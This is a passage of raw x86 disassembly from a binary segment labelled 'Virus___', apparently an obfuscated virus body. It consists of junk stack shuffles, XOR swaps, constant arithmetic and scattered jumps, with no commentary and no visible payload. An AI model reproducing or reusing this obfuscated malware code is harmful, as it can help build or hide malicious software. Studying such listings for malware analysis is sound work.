		sub	al, 2Bh
		sub	al, bl
		jmp	loc_5862A3
; ---------------------------------------------------------------------------


loc_585AF3:				; CODE XREF: Virus___:00586362j
		add	esi, eax
		pop	eax
		add	esi, 9B865CDh
		add	esi, ecx
		sub	esi, 9B865CDh
		push	eax
		jmp	loc_590995
; ---------------------------------------------------------------------------


loc_585B0A:				; CODE XREF: Virus___:0057F5F8j
		add	ecx, ebx
		pop	ebx
		push	edx
		jmp	loc_583684
; ---------------------------------------------------------------------------


loc_585B13:				; CODE XREF: Virus___:0059122Cj
		xchg	eax, [esp]
		jmp	loc_589DCB
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		push	2D0Bh
		mov	[esp], esi
		push	ecx
		mov	ecx, 4C3C1917h
		mov	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esi, 63120ABCh
		jmp	loc_58B30E
; ---------------------------------------------------------------------------


loc_585B4F:				; CODE XREF: Virus___:00584856j
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_591AF4
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	21B3h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	5C62h
		mov	[esp], edi
		jmp	loc_591C4C
; ---------------------------------------------------------------------------


loc_585B7E:				; CODE XREF: Virus___:005910CAj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	esi, 16EA1661h
		xor	ecx, esi
		pop	esi
		add	ecx, 39D3A7A9h
		jmp	loc_584E74
; ---------------------------------------------------------------------------


loc_585B9C:				; CODE XREF: Virus___:0058E531j
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, ebp
		push	ecx
		xor	dword ptr [esp], 2C642D8Bh
		pop	eax
		xor	eax, 2C642D8Bh
		mov	ecx, [esp]
		add	esp, 4
		pop	ebp
		push	31EEh
		jmp	loc_581A6C
; ---------------------------------------------------------------------------


loc_585BD0:				; CODE XREF: Virus___:0058EC90j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_592B0F
; ---------------------------------------------------------------------------


loc_585BE6:				; CODE XREF: Virus___:0058BF0Aj
		xor	dl, ah
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5880FF
; ---------------------------------------------------------------------------


loc_585BF1:				; CODE XREF: Virus___:00584B74j
		xor	ecx, 60F07h
		add	ebp, ecx
		pop	ecx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_585C09:				; CODE XREF: Virus___:005904CDj
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		push	7FFD6508h
		pop	ebx
		shl	ebx, 3
		jmp	loc_584F00
; ---------------------------------------------------------------------------


loc_585C22:				; CODE XREF: Virus___:0058CA4Aj
		mov	bh, cl
		push	ecx
		mov	ch, bh
		jmp	loc_5914D7
; ---------------------------------------------------------------------------


loc_585C2C:				; CODE XREF: Virus___:005840A8j
		xor	cl, 46h
		sub	dl, cl
		pop	ecx
		and	dl, 0E4h
		jmp	loc_58C041
; ---------------------------------------------------------------------------


loc_585C3A:				; CODE XREF: Virus___:00580834j
		sub	ebx, edx
		jmp	loc_5806D2
; ---------------------------------------------------------------------------


loc_585C41:				; CODE XREF: Virus___:00582892j
		add	edx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_590586
; ---------------------------------------------------------------------------


loc_585C4F:				; CODE XREF: Virus___:00588A17j
		mov	[esp], esi
		jmp	loc_588DF2
; ---------------------------------------------------------------------------


loc_585C57:				; CODE XREF: Virus___:0058004Aj
		xor	edx, esi
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 1B41BE0h
		add	esi, 491D61E4h
		add	esi, 451764C9h
		sub	esi, edx
		sub	esi, 451764C9h
		sub	esi, 491D61E4h
		sub	esi, 1B41BE0h
		jmp	loc_588B99
; ---------------------------------------------------------------------------


loc_585C8E:				; CODE XREF: Virus___:005837CAj
		add	edi, 73361A0h
		sub	edi, esi
		jmp	loc_5800D2
; ---------------------------------------------------------------------------


loc_585C9B:				; CODE XREF: Virus___:0057FE1Bj
		pop	esp
		mov	[esp], esp
		push	ebx
		jmp	loc_587D74
; ---------------------------------------------------------------------------


loc_585CA5:				; CODE XREF: Virus___:0058E7B9j
		pop	edx
		xor	esi, 20FD2686h
		shl	esi, 4
		not	esi
		inc	esi
		push	edi
		mov	edi, 644FD6F4h
		xor	esi, edi
		pop	edi
		jmp	loc_591C00
; ---------------------------------------------------------------------------


loc_585CC0:				; CODE XREF: Virus___:00583368j
		push	esi
		jmp	loc_592F2B
; ---------------------------------------------------------------------------


loc_585CC6:				; CODE XREF: Virus___:005879A1j
		push	esi
		push	esp
		pop	esi
		jmp	loc_584BC2
; ---------------------------------------------------------------------------


loc_585CCE:				; CODE XREF: Virus___:0058C50Fj
		pop	esp
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		jmp	loc_5891D4
; ---------------------------------------------------------------------------


loc_585CE1:				; CODE XREF: Virus___:0057F64Dj
		add	edx, 518534ADh
		add	edx, esi
		sub	edx, 518534ADh
		pop	esi
		push	esi
		push	ebp
		mov	ebp, 33220815h
		mov	esi, 3FAD31BDh
		sub	esi, ebp
		mov	ebp, [esp]
		jmp	loc_58421C
; ---------------------------------------------------------------------------


loc_585D06:				; CODE XREF: Virus___:0058769Fj
		pop	esp
		push	675Fh
		mov	[esp], ebp
		push	1A2Ch
		mov	[esp], eax
		mov	eax, 3A742EE6h
		mov	ebp, 3A742F0Ah
		sub	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_581A03
; ---------------------------------------------------------------------------


loc_585D31:				; CODE XREF: Virus___:0059351Dj
		add	esp, 4
		jmp	loc_58072E
; ---------------------------------------------------------------------------


loc_585D3C:				; CODE XREF: Virus___:0058B970j
		mov	eax, esi
		jmp	loc_58A32A
; ---------------------------------------------------------------------------


loc_585D43:				; CODE XREF: Virus___:005930F6j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_58FBCE
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		mov	ebx, esp
		push	2EDBh
		mov	[esp], ebp
		push	4EE823F1h
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_590FC9
; ---------------------------------------------------------------------------


loc_585D7E:				; CODE XREF: Virus___:0058E0B9j
		mov	edx, 3EB14CB3h
		xor	[esp+4], edx
		jmp	loc_580931
; ---------------------------------------------------------------------------


loc_585D8C:				; CODE XREF: Virus___:0058C9BEj
		pop	esp
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ecx
		push	edi
		jmp	loc_5903BA
; ---------------------------------------------------------------------------


loc_585DA1:				; CODE XREF: Virus___:00591E9Ej
		add	esp, 4
		push	79D7h
		mov	[esp], edx
		mov	dl, 0B6h
		neg	dl
		sub	esp, 2
		mov	[esp], bx
		mov	bh, 9Dh
		jmp	loc_58D63C
; ---------------------------------------------------------------------------


loc_585DBE:				; CODE XREF: Virus___:005836FDj
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		pop	esi
		push	2903h
		jmp	loc_5862D1
; ---------------------------------------------------------------------------


loc_585DE4:				; CODE XREF: Virus___:0058970Cj
		pop	esp
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		pop	ecx
		jmp	loc_58E2B1
; ---------------------------------------------------------------------------


loc_585DF9:				; CODE XREF: Virus___:005817A6j
		push	esi
		jmp	loc_57F872
; ---------------------------------------------------------------------------


loc_585DFF:				; CODE XREF: Virus___:005933E8j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_582F54
; ---------------------------------------------------------------------------


loc_585E0D:				; CODE XREF: Virus___:0058BC90j
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5814DC
; ---------------------------------------------------------------------------


loc_585E19:				; CODE XREF: Virus___:00587261j
		push	58DB4DEFh
		mov	esi, [esp]
		jmp	loc_586E03
; ---------------------------------------------------------------------------


loc_585E26:				; CODE XREF: Virus___:00585035j
		sub	ebx, ebp
		pop	ebp
		push	ebx
		xor	dword ptr [esp], 23E905D9h
		mov	eax, [esp]
		jmp	loc_58713F
; ---------------------------------------------------------------------------


loc_585E39:				; CODE XREF: Virus___:00587999j
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_58B505
; ---------------------------------------------------------------------------


loc_585E45:				; CODE XREF: Virus___:0058E9D9j
		xchg	edx, [esp]
		jmp	loc_586B0C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_58D523
; ---------------------------------------------------------------------------


loc_585E56:				; CODE XREF: Virus___:0058CF64j
		add	eax, ebx
		pop	ebx
		jmp	loc_593CBC
; ---------------------------------------------------------------------------


loc_585E5E:				; CODE XREF: Virus___:005920E4j
		shr	eax, 2
		dec	eax
		add	eax, 1
		shl	eax, 4
		jmp	loc_591817
; ---------------------------------------------------------------------------


loc_585E6D:				; CODE XREF: Virus___:00586AFCj
		add	ecx, ebp
		jmp	loc_592B1C
; ---------------------------------------------------------------------------


loc_585E74:				; CODE XREF: Virus___:0057F67Cj
		xchg	edx, [esp]
		mov	esp, [esp]
		and	[esp], ax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_585E84:				; CODE XREF: Virus___:005816EFj
		add	esi, ebp
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_590A10
; ---------------------------------------------------------------------------


loc_585E92:				; CODE XREF: Virus___:00580DA9j
		add	ebp, 4
		jmp	loc_581A09
; ---------------------------------------------------------------------------


loc_585E9A:				; CODE XREF: Virus___:00588027j
		add	eax, ecx
		sub	eax, 635C10CFh
		add	eax, 6D9669Ah
		pop	ecx
		add	eax, 2
		jmp	loc_58F5A4
; ---------------------------------------------------------------------------


loc_585EB1:				; CODE XREF: Virus___:0058CFBBj
		add	esp, 4
		push	esi
		jmp	loc_5915D6
; ---------------------------------------------------------------------------


loc_585EBA:				; CODE XREF: Virus___:00586C23j
		add	esp, 4
		push	ebx
		mov	ebx, 0E10AF4FFh
		add	edi, ebx
		pop	ebx
		sub	ecx, edi
		pop	edi
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_59392B
; ---------------------------------------------------------------------------


loc_585EDB:				; CODE XREF: Virus___:0058271Ej
		pop	eax
		shr	esi, 7
		push	edi
		mov	edi, 0FF020965h
		add	esi, edi
		pop	edi
		jmp	loc_58BE3F
; ---------------------------------------------------------------------------


loc_585EED:				; CODE XREF: Virus___:00581076j
		or	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, 1
		neg	ebp
		jmp	loc_593459
; ---------------------------------------------------------------------------


loc_585F02:				; CODE XREF: Virus___:00584EE9j
		mov	eax, 4
		add	ebx, eax
		jmp	loc_58464D
; ---------------------------------------------------------------------------


loc_585F0E:				; CODE XREF: Virus___:00594348j
		mov	dx, 69C9h
		add	ax, dx
		pop	dx
		add	ax, dx
		jmp	loc_582D38
; ---------------------------------------------------------------------------


loc_585F1F:				; CODE XREF: Virus___:0058603Ej
		mov	edx, 2D9515A2h
		sub	edx, 79B421Eh
		add	edx, 1
		xor	edx, 25F9D387h
		mov	esi, edx
		pop	edx
		jmp	loc_587498
; ---------------------------------------------------------------------------


loc_585F3E:				; CODE XREF: Virus___:00584015j
		sub	eax, 452E5D22h
		sub	ebx, eax
		pop	eax
		add	ebx, edi
		add	ebx, 14F412B1h
		jmp	loc_5853DC
; ---------------------------------------------------------------------------


loc_585F53:				; CODE XREF: Virus___:00587328j
		pop	ebp
		jmp	loc_5860C2
; ---------------------------------------------------------------------------


loc_585F59:				; CODE XREF: Virus___:0058989Ej
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		add	eax, 57FF17A0h
		add	eax, 28C10C43h
		sub	eax, 61612A42h
		add	eax, ecx
		add	eax, 61612A42h
		sub	eax, 28C10C43h
		sub	eax, 57FF17A0h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ebx, 0A4F000Fh
		push	edi
		mov	edi, 22072901h
		add	edi, 1511FD9Dh
		shl	edi, 4
		add	edi, 370E7ED4h
		sub	edi, 622E527Ch
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0DC6299B8h
		add	edi, ebp
		jmp	loc_58AECD
; ---------------------------------------------------------------------------


loc_585FC5:				; CODE XREF: Virus___:00586FC6j
		add	eax, 65A750C5h
		neg	eax
		push	edx
		mov	edx, 20AB695Dh
		neg	edx
		dec	edx
		shl	edx, 1
		xor	edx, 70E07D69h
		or	edx, 646A4402h
		add	edx, 813B3FD4h
		xor	eax, edx
		jmp	loc_580E62
; ---------------------------------------------------------------------------


loc_585FF0:				; CODE XREF: Virus___:00587F49j
		mov	edi, 27D47EE6h
		push	edi
		mov	edi, 76BF31CEh
		jmp	loc_5923C6
; ---------------------------------------------------------------------------


loc_586000:				; CODE XREF: Virus___:0057F8EDj
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_594228
; ---------------------------------------------------------------------------


loc_58600E:				; CODE XREF: Virus___:0058A11Bj
		mov	ah, 1Bh
		add	ah, dh
		pop	edx
		shl	ah, 2
		add	ah, 16h
		push	edx
		jmp	loc_5834B3
; ---------------------------------------------------------------------------


loc_58601F:				; CODE XREF: Virus___:00589E89j
		dec	ecx
		not	ecx
		not	ecx
		inc	ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_593495
; ---------------------------------------------------------------------------


loc_586033:				; CODE XREF: Virus___:0058EFFBj
		xchg	edi, [esp]
		pop	esp
		push	esi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_585F1F
; ---------------------------------------------------------------------------


loc_586043:				; CODE XREF: Virus___:0058A3C9j
		push	2FDFh
		mov	[esp], edx
		push	eax
		push	esi
		mov	esi, esp
		jmp	loc_57F7CB
; ---------------------------------------------------------------------------


loc_586054:				; CODE XREF: Virus___:0058F019j
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_586059:				; CODE XREF: Virus___:00589150j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_586082:				; CODE XREF: Virus___:00590366j
		mov	eax, 4266566Ah
		and	eax, 4DD12A5h
		xor	eax, 6936115Dh
		xor	ebp, eax
		pop	eax
		jmp	loc_581699
; ---------------------------------------------------------------------------


loc_586099:				; CODE XREF: Virus___:00583D88j
		mov	al, 0E1h
		xor	cl, al
		pop	eax
		add	bl, cl
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_58AEBE
; ---------------------------------------------------------------------------


loc_5860A9:				; CODE XREF: Virus___:00582441j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebx
		add	dword ptr [esp], 592B65A9h
		mov	edx, [esp]
		push	ebp
		push	esp
		jmp	loc_581192
; ---------------------------------------------------------------------------


loc_5860C2:				; CODE XREF: Virus___:00585F54j
		add	edx, 0CBD6B32h
		sub	ebx, 11CA5D30h
		sub	ebx, edx
		add	ebx, 11CA5D30h
		jmp	loc_57F6B6
; ---------------------------------------------------------------------------


loc_5860DB:				; CODE XREF: Virus___:00582308j
		mov	esi, 4
		add	eax, 3BFE4DCFh
		add	eax, esi
		jmp	loc_58492D
; ---------------------------------------------------------------------------


loc_5860EC:				; CODE XREF: Virus___:00587172j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57FA40
; ---------------------------------------------------------------------------


loc_58611A:				; CODE XREF: Virus___:00588713j
		xor	eax, ebx
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_58FFFA
; ---------------------------------------------------------------------------


loc_586133:				; CODE XREF: Virus___:0057FCC0j
		sub	ebx, 40267977h
		push	dword ptr [esp]
		jmp	loc_58EF22
; ---------------------------------------------------------------------------


loc_586141:				; CODE XREF: Virus___:0058418Aj
		pop	edx
		add	edx, eax
		pop	eax
		push	eax
		mov	eax, 61BC2C5Bh
		jmp	loc_590971
; ---------------------------------------------------------------------------


loc_586150:				; CODE XREF: Virus___:0059195Fj
		mov	eax, ebx
		jmp	loc_5911BC
; ---------------------------------------------------------------------------


loc_586157:				; CODE XREF: Virus___:00587B6Bj
		push	esi
		mov	esi, esp
		jmp	loc_5891B1
; ---------------------------------------------------------------------------


loc_58615F:				; CODE XREF: Virus___:0058437Dj
		and	dl, ah
		pop	eax
		jmp	loc_5857B1
; ---------------------------------------------------------------------------


loc_586167:				; CODE XREF: Virus___:0058FDF3j
		sub	esi, 36DF4FA6h
		sub	esi, eax
		jmp	loc_587546
; ---------------------------------------------------------------------------


loc_586174:				; CODE XREF: Virus___:0058D895j
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_591D28
; ---------------------------------------------------------------------------


loc_586180:				; CODE XREF: Virus___:0058AD2Fj
		pop	ebp
		push	edx
		mov	edx, 4
		sub	ecx, 19A227CDh
		add	ecx, edx
		add	ecx, 19A227CDh
		jmp	loc_58C649
; ---------------------------------------------------------------------------


loc_58619A:				; CODE XREF: Virus___:0058ACD3j
		add	ecx, 56A8064Dh
		add	ecx, edi
		jmp	loc_58748D
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5861B0:				; CODE XREF: Virus___:005859C1j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_586EA8
; ---------------------------------------------------------------------------


loc_5861B9:				; CODE XREF: Virus___:00590598j
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5890BB
; ---------------------------------------------------------------------------


loc_5861C8:				; CODE XREF: Virus___:00592799j
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	esi
		push	ebp
		mov	ebp, 39A7028Fh
		shr	ebp, 3
		jmp	loc_58D82B
; ---------------------------------------------------------------------------


loc_5861E3:				; CODE XREF: Virus___:00583D76j
		or	esi, 1C637C3Fh
		push	ebx
		jmp	loc_580E81
; ---------------------------------------------------------------------------


loc_5861EF:				; CODE XREF: Virus___:0058928Bj
		xchg	edi, ebx
		sub	ebx, 3B1C7740h
		mov	edi, ebx
		pop	ebx
		neg	edi
		not	edi
		add	edi, 1
		xor	edi, 25AC0235h
		add	edi, 0CA4728C4h
		jmp	loc_5812B5
; ---------------------------------------------------------------------------


loc_586212:				; CODE XREF: Virus___:00592495j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_591525
; ---------------------------------------------------------------------------


loc_58621F:				; CODE XREF: Virus___:00581A1Cj
		pop	eax
		jmp	loc_582E4E
; ---------------------------------------------------------------------------


loc_586225:				; CODE XREF: Virus___:005842F5j
		pop	esi
		xor	esi, 6BB00DFCh
		pop	ebx
		push	ecx
		mov	ecx, 3F4C5DCFh
		jmp	loc_58AEF5
; ---------------------------------------------------------------------------


loc_586238:				; CODE XREF: Virus___:00590C1Ej
		shr	edx, 5
		jmp	loc_58A71D
; ---------------------------------------------------------------------------


loc_586240:				; CODE XREF: Virus___:00592BF6j
		xor	edx, [esp]
		pop	esp
		mov	[esp], cx
		push	ebx
		jmp	loc_58FBC3
; ---------------------------------------------------------------------------


loc_58624E:				; CODE XREF: Virus___:00586F86j
		push	esi
		jmp	loc_59369C
; ---------------------------------------------------------------------------


loc_586254:				; CODE XREF: Virus___:00585AA3j
		sub	ebx, 4B914FA0h
		push	dword ptr [ebx]
		pop	ecx
		mov	ebx, [esp]
		push	59F5h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_58444F
; ---------------------------------------------------------------------------


loc_58628E:				; CODE XREF: Virus___:00593BB0j
		inc	ebp
		jmp	loc_584DC9
; ---------------------------------------------------------------------------


loc_586294:				; CODE XREF: Virus___:0058A26Ej
		push	3026h
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_592630
; ---------------------------------------------------------------------------


loc_5862A3:				; CODE XREF: Virus___:00585AEEj
		push	bx
		mov	bl, 2Bh
		add	al, 0D0h
		add	al, bl
		jmp	loc_594056
; ---------------------------------------------------------------------------


loc_5862B0:				; CODE XREF: Virus___:00580601j
		push	50582DA5h
		pop	edi
		add	edi, 7AE91ED3h
		push	ebp
		mov	ebp, 4FFE2736h
		jmp	loc_5915EB
; ---------------------------------------------------------------------------


loc_5862C7:				; CODE XREF: Virus___:00592D14j
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5862D1:				; CODE XREF: Virus___:00585DDFj
		mov	[esp], ebx
		mov	ebx, 0E6B767Bh
		jmp	loc_58F7F0
; ---------------------------------------------------------------------------


loc_5862DE:				; CODE XREF: Virus___:0058A9E1j
		mov	esp, [esp]
		add	ebx, 4
		push	esi
		jmp	loc_581D51
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_584F34
; ---------------------------------------------------------------------------


loc_5862F5:				; CODE XREF: Virus___:0058672Ej
		push	edx
		mov	dl, bl
		push	eax
		mov	al, dl
		push	ebx
		mov	bh, al
		mov	ch, bh
		pop	ebx
		jmp	loc_592BA8
; ---------------------------------------------------------------------------


loc_586306:				; CODE XREF: Virus___:005817B7j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5812AB
; ---------------------------------------------------------------------------


loc_586311:				; CODE XREF: Virus___:00592244j
		sub	ebp, 74F6298h
		sub	ebp, 8AD766Dh
		add	ebp, edx
		add	ebp, 8AD766Dh
		push	eax
		mov	eax, 21543970h
		and	eax, 31C171F5h
		jmp	loc_580F31
; ---------------------------------------------------------------------------


loc_586335:				; CODE XREF: Virus___:0058854Aj
		push	ebp
		jmp	loc_5842D8
; ---------------------------------------------------------------------------


loc_58633B:				; CODE XREF: Virus___:00581FB5j
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_586350:				; CODE XREF: Virus___:005882B9j
		xor	ecx, 0F8E1C5E5h
		sub	esi, 466B71EEh
		push	eax
		mov	eax, 480E6B0Dh
		jmp	loc_585AF3
; ---------------------------------------------------------------------------


loc_586367:				; CODE XREF: Virus___:005809FDj
		pop	edx
		add	ebx, 60597618h
		jmp	loc_589D8E
; ---------------------------------------------------------------------------


loc_586373:				; CODE XREF: Virus___:0058AEDBj
		push	ebp
		push	6AEB0ACEh
		pop	ebp
		xchg	edi, ebp
		not	edi
		jmp	loc_58FD61
; ---------------------------------------------------------------------------


loc_586383:				; CODE XREF: Virus___:0058C49Bj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_5904FD
; ---------------------------------------------------------------------------


loc_586392:				; CODE XREF: Virus___:00580800j
		add	ebx, 76AFE004h
		add	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_583B26
; ---------------------------------------------------------------------------


loc_5863A2:				; CODE XREF: Virus___:00588922j
		sub	edi, ecx
		pop	ecx
		sub	edi, 0DBD9D114h
		sub	edx, edi
		jmp	loc_58B736
; ---------------------------------------------------------------------------


loc_5863B2:				; CODE XREF: Virus___:0058370Bj
		mov	edx, 2
		jmp	loc_5851C1
; ---------------------------------------------------------------------------


loc_5863BC:				; CODE XREF: Virus___:0059266Cj
		push	edi
		jmp	loc_58D15A
; ---------------------------------------------------------------------------


loc_5863C2:				; CODE XREF: Virus___:0058B588j
		push	esi
		jmp	loc_584861
; ---------------------------------------------------------------------------


loc_5863C8:				; CODE XREF: Virus___:00580BBEj
		add	edi, 25F524AEh
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		jmp	loc_592E0B
; ---------------------------------------------------------------------------


loc_5863DF:				; CODE XREF: Virus___:00592E87j
		shl	edi, 3
		xor	edi, 67A55EEDh
		jmp	loc_58946A
; ---------------------------------------------------------------------------


loc_5863ED:				; CODE XREF: Virus___:0058DDA6j
		add	ebp, 11CEC43Eh
		sub	esi, ebp
		jmp	loc_587AEC
; ---------------------------------------------------------------------------


loc_5863FA:				; CODE XREF: Virus___:00588C1Fj
		push	ecx
		mov	ecx, 5A837B1Fh
		jmp	loc_5893DD
; ---------------------------------------------------------------------------


loc_586405:				; CODE XREF: Virus___:0058A58Cj
		and	esi, 6B994A7Ah
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 46680DF0h
		jmp	loc_58B550
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5925E2
; ---------------------------------------------------------------------------


loc_586427:				; CODE XREF: Virus___:0058D74Cj
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	277h
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		pop	dword ptr [esp]
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_5849CE
; ---------------------------------------------------------------------------


loc_58646E:				; CODE XREF: Virus___:0058831Aj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5890C6
; ---------------------------------------------------------------------------


loc_586482:				; CODE XREF: Virus___:0058F347j
		add	edi, ecx
		pop	ecx
		add	edi, 737A3F95h
		not	edi
		inc	edi
		xor	edi, 743F9E6Ch
		sub	eax, edi
		jmp	loc_58FF5C
; ---------------------------------------------------------------------------


loc_58649B:				; CODE XREF: Virus___:00589416j
		add	ebp, 0B4F6158h
		jmp	loc_587D94
; ---------------------------------------------------------------------------


loc_5864A6:				; CODE XREF: Virus___:00581CDEj
		push	376C4D43h
		pop	edi
		jmp	loc_590C97
; ---------------------------------------------------------------------------


loc_5864B1:				; CODE XREF: Virus___:00593515j
		push	ecx
		mov	cl, 23h
		sub	cl, 65h
		jmp	loc_584369
; ---------------------------------------------------------------------------


loc_5864BC:				; CODE XREF: Virus___:0058276Dj
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	889h
		mov	[esp], ebx
		push	ecx
		mov	ecx, 62131258h
		jmp	loc_591E83
; ---------------------------------------------------------------------------


loc_5864DE:				; CODE XREF: Virus___:00587C33j
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_587693
; ---------------------------------------------------------------------------


loc_5864F1:				; CODE XREF: Virus___:00582EE5j
		mov	esi, 4
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ebp, 24792CAEh
		add	ebp, eax
		add	ebp, 24792CAEh
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	ebx
		mov	ebx, 6CF6009Bh
		jmp	loc_586912
; ---------------------------------------------------------------------------


loc_586523:				; CODE XREF: Virus___:00592E4Cj
		mov	edx, 800000h
		jmp	loc_58708B
; ---------------------------------------------------------------------------


loc_58652D:				; CODE XREF: Virus___:0058517Aj
		xor	ebp, 56E55BA8h
		xor	ebp, 0ECD1776h
		or	ebx, ebp
		jmp	loc_585970
; ---------------------------------------------------------------------------


loc_586540:				; CODE XREF: Virus___:00590DE7j
		add	esp, 4
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2
		add	edi, edx
		pop	edx
		push	esi
		jmp	loc_582843
; ---------------------------------------------------------------------------


loc_586558:				; CODE XREF: Virus___:00581DADj
		add	ebp, 774F34AEh
		sub	edx, 11174B17h
		add	edx, ebp
		push	edi
		jmp	loc_5829CF
; ---------------------------------------------------------------------------


loc_58656C:				; CODE XREF: Virus___:00587CE7j
		pop	eax
		add	eax, 1BDA2382h
		push	ebp
		mov	ebp, 2C8335DDh
		sub	eax, ebp
		pop	ebp
		sub	eax, 629D15CAh
		sub	eax, 1AD91EB4h
		add	eax, 5DEBE540h
		jmp	loc_58165E
; ---------------------------------------------------------------------------


loc_58658F:				; CODE XREF: Virus___:0058CF7Dj
		pop	ebp
		jmp	loc_580A02
; ---------------------------------------------------------------------------


loc_586595:				; CODE XREF: Virus___:005834BCj
		push	75E4h
		mov	[esp], esi
		jmp	loc_591366
; ---------------------------------------------------------------------------


loc_5865A2:				; CODE XREF: Virus___:005884B7j
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		sub	esp, 4
		jmp	loc_58C991
; ---------------------------------------------------------------------------


loc_5865B2:				; CODE XREF: Virus___:00580A95j
		add	ebx, 2222F59h
		push	edx
		mov	edx, 126F5E1Fh
		dec	edx
		add	edx, 2B2FC0D8h
		sub	ebx, edx
